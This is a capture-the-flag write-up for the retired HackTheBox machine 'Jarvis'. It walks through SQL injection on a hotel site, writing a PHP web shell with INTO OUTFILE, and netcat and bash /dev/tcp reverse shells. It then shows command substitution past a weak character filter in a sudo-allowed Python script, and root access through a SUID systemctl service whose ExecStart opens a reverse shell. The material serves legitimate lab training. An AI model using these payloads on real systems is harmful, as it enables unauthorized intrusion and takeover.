Posts Jarvis CTF Writeup
Post
Cancel

Jarvis CTF Writeup

Machine Info

This is a retired machine on HackTheBox.

Machine IP: 10.129.1.113 My machine IP: 10.10.14.49


Goals

Get the user flag and root flag.


Enumeration

We start with a simple nmap to see which port are open and the services’ versions:

1
2
3
4
5
6
7
8
9
$ nmap -sV 10.129.1.113
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-23 08:33 EST
Nmap scan report for 10.129.1.113
Host is up (0.20s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Okay, so there’s nothing out of the ordinary here, let’s move on to other things.

Exploiting SQL Injection

After digging around in the website (Stark Hotel), we see this strange looking URL:

picture 2

Notice the cod parameter in the URL, it looks like a row id from a database table. Let’s try if it is vulnerable to SQL Injection.

3 AND 2=1

Here we use the payload 3 and 2=1 to test, and it does not display anything, so we can conclude that this parameter is unprotected from SQL Injection attacks.

Let’s find out how many column is being queried with a UNION SELECT clause:

3 and 2=1 UNION SELECT 1,2,3,4,5,6,7

Ok, so it’s 7. Let’s see which user is running the database.

3 and 2=1 UNION SELECT 1,user(),system_user(),4,5,6,7

Okay, let’s check if the user has FILE privileges:

  • Read privilege: 3 and 2=1 UNION SELECT 1,2,3,4,load_file('/etc/passwd'),6,7;

  • Write privilege: 3 and 2=1 UNION SELECT 1,2,3,4,5,6,7 INTO dumpfile '/tmp/hoang'; then 3 and 2=1 UNION SELECT 1,2,3,4,load_file('/tmp/hoang'),6,7; shows us: picture 7

So the user can write files onto the disk, so how about writing a web shell? To write a webshell, we need to find the Apache DocumentRoot (or the website root on the machine). Some common DocumentRoot includes:

  • /var/www/html/
  • /www/domain/
  • /web/public/
  • /example.com/www/public/
  • /example.com/public_html/

We can try to load the index file to determine where on the disk the DocumentRoot is.

3 and 2=1 UNION SELECT 1,2,3,4,load_file('/var/www/html/index.php'),6,7;

In this case, the DocumentRoot is at /var/www/html/ because the index.php file is included in the resulting room.php page.

Shell & pepper flag

Okay, let’s write a simple web shell using PHP.

1
<?php system($_GET['cmd']); ?>

And the corresponding SQL Injection payload:

1
3 AND 2=1 UNION SELECT '<?php system($_GET["cmd"]); ?>',2,3,4,5,6,7 INTO OUTFILE '/var/www/html/shell.php';

Let’s verify the existence of our web shell:

picture 9

Having a web shell is cool and all, but not very interactive. We can go further, let’s do a reverse shell.

On our machine, listen for connection on a suitable port:

1
2
$ nc -nlvp 1311        
listening on [any] 1311 ...

On the web shell, pass this command:

1
2
3
4
5
nc 10.10.14.49 1311 -e /bin/bash

or

bash -i >& /dev/tcp/10.10.14.49/1311 0>&1

Now we can use the shell comfortably. Let’s check if we can run any command as another user by using sudo -l:

1
2
3
4
5
6
7
$ sudo -l 
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py

We can run that python script as the user pepper.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re

def show_help():
    message='''
********************************************************
* Simpler   -   A simple simplifier ;)                 *
* Version 1.0                                          *
********************************************************
Usage:  python3 simpler.py [options]

Options:
    -h/--help   : This help
    -s          : Statistics
    -l          : List the attackers IP
    -p          : ping an attacker IP
    '''
    print(message)

def show_header():
    print('''***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                
***********************************************
''')

def show_statistics():
    path = '/home/pepper/Web/Logs/'
    print('Statistics\n-----------')
    listed_files = listdir(path)
    count = len(listed_files)
    print('Number of Attackers: ' + str(count))
    level_1 = 0
    dat = datetime(1, 1, 1)
    ip_list = []
    reks = []
    ip = ''
    req = ''
    rek = ''
    for i in listed_files:
        f = open(path + i, 'r')
        lines = f.readlines()
        level2, rek = get_max_level(lines)
        fecha, requ = date_to_num(lines)
        ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if fecha > dat:
            dat = fecha
            req = requ
            ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if int(level2) > int(level_1):
            level_1 = level2
            ip_list = [ip]
            reks=[rek]
        elif int(level2) == int(level_1):
            ip_list.append(ip)
            reks.append(rek)
        f.close()

    print('Most Risky:')
    if len(ip_list) > 1:
        print('More than 1 ip found')
    cont = 0
    for i in ip_list:
        print('    ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
        cont = cont + 1

    print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)

def list_ip():
    print('Attackers\n-----------')
    path = '/home/pepper/Web/Logs/'
    listed_files = listdir(path)
    for i in listed_files:
        f = open(path + i,'r')
        lines = f.readlines()
        level,req = get_max_level(lines)
        print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
        f.close()

def date_to_num(lines):
    dat = datetime(1,1,1)
    ip = ''
    req=''
    for i in lines:
        if 'Level' in i:
            fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
            regex = '(\d+)-(.*)-(\d+)(.*)'
            logEx=re.match(regex, fecha).groups()
            mes = to_dict(logEx[1])
            fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
            fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
            if fecha > dat:
                dat = fecha
                req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
    return dat, req

def to_dict(name):
    month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
    return month_dict[name]

def get_max_level(lines):
    level=0
    for j in lines:
        if 'Level' in j:
            if int(j.split(' ')[4]) > int(level):
                level = j.split(' ')[4]
                req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
    return level, req

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

if __name__ == '__main__':
    show_header()
    if len(sys.argv) != 2:
        show_help()
        exit()
    if sys.argv[1] == '-h' or sys.argv[1] == '--help':
        show_help()
        exit()
    elif sys.argv[1] == '-s':
        show_statistics()
        exit()
    elif sys.argv[1] == '-l':
        list_ip()
        exit()
    elif sys.argv[1] == '-p':
        exec_ping()
        exit()
    else:
        show_help()
        exit()

Pay attention to the ping function, it blocks a few special characters but not $ ( and ), classic command injection techniques. We can use command substitution to run almost anything we want, another shell for example :) Remember that this python program runs as the user pepper.

First we set up a script that let us do another reverse shell like so:

1
2
$ echo 'bash -c "bash -i >& /dev/tcp/10.10.14.49/1313 0>&1"' > /tmp/peppershell
$ chmod 777 /tmp/peppershell

On our machine, listen to the 1313 port:

1
2
$ nc -nlvp 1313     
listening on [any] 1313 ...

Then run the python program as pepper then use the ping address $(/tmp/peppershell)

And we got it, the pepper shell. The flag is here:

1
2
$ cat ~/user.txt
2afa36c4f05b37b34259c9355censored

Root flag

pepper could not run anything with sudo, so we must look for other escalation vector. One is to find SUID binaries then exploit it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ find / -perm -u=s -type f 2>/dev/null
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

One of these is not like the other. According to SUID3NUM, these are the default SUID binaries and we shouldn’t bother with them:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/passwd
/usr/sbin/pppd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign

We see that the systemctl binary is not normal. Indeed, on GTFOBin, there is a page about systemctl

Using systemctl, we can register a service, and we can specify the startup command of said service, because systemctl has been SUID as root the startup command will also execute as root, so we can get a reverse shell (yet again) using this method.

In your home directory, create a service named priv.service:

1
2
3
4
5
6
7
8
9
10
11
12
$ tee priv.service <<EOF
> [Unit]
> Description=privesc
> 
> [Service]
> Type=simple
> User=root
> ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.49/1314 0>&1'
> 
> [Install]
> WantedBy=multi-user.target
> EOF
1
2
3
4
5
6
7
8
9
10
11
$ cat priv.service
[Unit]
Description=privesc

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.49/1314 0>&1'

[Install]
WantedBy=multi-user.target

Enable it using systemctl:

1
2
3
$ systemctl enable ~/priv.service
Created symlink /etc/systemd/system/multi-user.target.wants/priv.service -> /home/pepper/priv.service.
Created symlink /etc/systemd/system/priv.service -> /home/pepper/priv.service.

On our machine, listen on port 1314 just like the last 2 times, then start the service using:

1
$ systemctl start priv

And that will give us the shell on our machine:

1
2
3
4
5
6
7
8
$ nc -nlvp 1314                
listening on [any] 1314 ...
connect to [10.10.14.49] from (UNKNOWN) [10.129.1.113] 45762
bash: cannot set terminal process group (7656): Inappropriate ioctl for device
bash: no job control in this shell

root@jarvis:/# cat ~/root.txt
d41d8cd98f00b204e9800998censored

Thank you for reading :) see you next time!


Further Reading

  1. SUID Privilege Escalation
  2. systemctl privilege escalation
  3. GTFOBins
  4. mysql FILE privilege
  5. Reverse shell cheat sheet
This post is licensed under CC BY 4.0 by the author.